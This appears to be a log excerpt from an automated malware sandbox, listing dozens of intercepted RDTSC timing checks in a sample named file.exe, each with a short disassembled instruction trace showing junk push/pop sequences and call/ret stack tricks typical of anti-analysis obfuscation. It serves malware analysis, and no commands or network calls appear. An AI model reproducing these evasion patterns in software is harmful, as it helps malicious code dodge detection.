Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC69A second address: 7FC70B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FB869324F18h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+12455902h], esi 0x00000027 movsx edi, di 0x0000002a lea eax, dword ptr [ebp+12490392h] 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007FB869324F18h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a jmp 00007FB869324F1Dh 0x0000004f nop 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jbe 00007FB869324F16h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC70B second address: 7FC70F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC70F second address: 7FC733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB869324F29h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC733 second address: 7FC748 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB8686220CDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC748 second address: 7FC74C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC74C second address: 7FC769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 stc 0x00000009 lea eax, dword ptr [ebp+1249034Eh] 0x0000000f push eax 0x00000010 pushad 0x00000011 jnp 00007FB8686220C8h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC769 second address: 7FC76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC76D second address: 7FC771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC771 second address: 7D7842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+122D3AEDh], ecx 0x00000010 call dword ptr [ebp+122D2A68h] 0x00000016 jmp 00007FB869324F28h 0x0000001b push ebx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A840 second address: 83A845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A845 second address: 83A84B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A84B second address: 83A84F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A84F second address: 83A853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A997 second address: 83A9A4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AB34 second address: 83AB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AB3A second address: 83AB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB8686220D7h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FB8686220DEh 0x00000017 jmp 00007FB8686220D6h 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DF6D second address: 83DF72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D827 second address: 83D82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5A1D second address: 7B5A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB869324F16h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84514D second address: 845158 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8452E6 second address: 8452EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8452EC second address: 8452F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8452F0 second address: 8452F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8452F8 second address: 84530B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FB8686220C6h 0x00000009 pop esi 0x0000000a push edi 0x0000000b jnc 00007FB8686220C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8456BF second address: 8456C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8456C3 second address: 8456CD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB8686220C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845977 second address: 84597D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84597D second address: 845988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB8686220C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845988 second address: 8459B0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB869324F18h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007FB869324F27h 0x00000010 jmp 00007FB869324F21h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8459B0 second address: 8459C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FB8686220C6h 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8459C0 second address: 8459C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8459C5 second address: 8459CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A544 second address: 84A54A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A54A second address: 84A55E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8686220CBh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A55E second address: 84A569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A569 second address: 84A56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A56F second address: 84A57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB869324F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A57B second address: 84A584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A584 second address: 84A58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AA88 second address: 84AA8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC11E second address: 7FC123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC123 second address: 7FC1BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007FB8686220C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push edi 0x00000010 mov edi, dword ptr [ebp+122D1C9Ah] 0x00000016 pop edx 0x00000017 mov ebx, dword ptr [ebp+1249038Dh] 0x0000001d add eax, ebx 0x0000001f mov dword ptr [ebp+122D2B83h], edx 0x00000025 nop 0x00000026 pushad 0x00000027 jno 00007FB8686220C8h 0x0000002d ja 00007FB8686220DCh 0x00000033 popad 0x00000034 push eax 0x00000035 jmp 00007FB8686220CEh 0x0000003a nop 0x0000003b mov di, bx 0x0000003e mov ecx, eax 0x00000040 push 00000004h 0x00000042 clc 0x00000043 nop 0x00000044 push ecx 0x00000045 jmp 00007FB8686220D8h 0x0000004a pop ecx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jng 00007FB8686220D6h 0x00000054 jmp 00007FB8686220D0h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B81E second address: 84B836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB869324F1Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B836 second address: 84B83A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EB04 second address: 84EB2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB869324F22h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EB2A second address: 84EB2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EB2E second address: 84EB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E325 second address: 84E32B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E32B second address: 84E335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB869324F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E335 second address: 84E33B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E33B second address: 84E34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b je 00007FB869324F16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E34E second address: 84E36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8686220D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E36A second address: 84E377 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FB869324F16h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E4FD second address: 84E507 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7B2 second address: 84E7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7B6 second address: 84E7BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7BA second address: 84E7ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB869324F23h 0x0000000c jmp 00007FB869324F20h 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007FB869324F16h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7ED second address: 84E7F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7F2 second address: 84E7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7FE second address: 84E827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8686220D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jno 00007FB8686220CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E827 second address: 84E82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E82D second address: 84E833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854E58 second address: 854E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854E5E second address: 854E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8559D5 second address: 8559E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007FB869324F22h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8559E2 second address: 8559E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8559E8 second address: 8559EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855CD7 second address: 855CDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855CDD second address: 855CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855CE1 second address: 855CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B060 second address: 85B07B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB869324F25h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A265 second address: 85A269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A269 second address: 85A276 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB869324F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A276 second address: 85A27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A27B second address: 85A28B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnl 00007FB869324F16h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A7F3 second address: 85A7FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ABF9 second address: 85AC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB869324F27h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push ecx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 jmp 00007FB869324F26h 0x00000019 popad 0x0000001a pushad 0x0000001b jo 00007FB869324F1Ch 0x00000021 jp 00007FB869324F16h 0x00000027 push esi 0x00000028 pushad 0x00000029 popad 0x0000002a pop esi 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AD99 second address: 85ADBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB8686220C6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jc 00007FB8686220C6h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 jmp 00007FB8686220CBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ADBD second address: 85ADC9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86122A second address: 861233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868390 second address: 868396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868396 second address: 86839B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86839B second address: 8683B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F28h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8683B9 second address: 8683BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8683BD second address: 8683C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8687C6 second address: 8687CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8687CB second address: 8687D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FB869324F16h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8687D8 second address: 8687FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007FB8686220E7h 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FB8686220D5h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A74 second address: 868A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A78 second address: 868A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868B99 second address: 868B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868B9D second address: 868BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB8686220CFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D35 second address: 868D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB869324F1Ah 0x0000000c jc 00007FB869324F1Eh 0x00000012 jne 00007FB869324F16h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869E39 second address: 869E43 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB8686220C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867DC9 second address: 867DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867DCF second address: 867DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D10E second address: 86D114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872242 second address: 872246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871F2C second address: 871F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
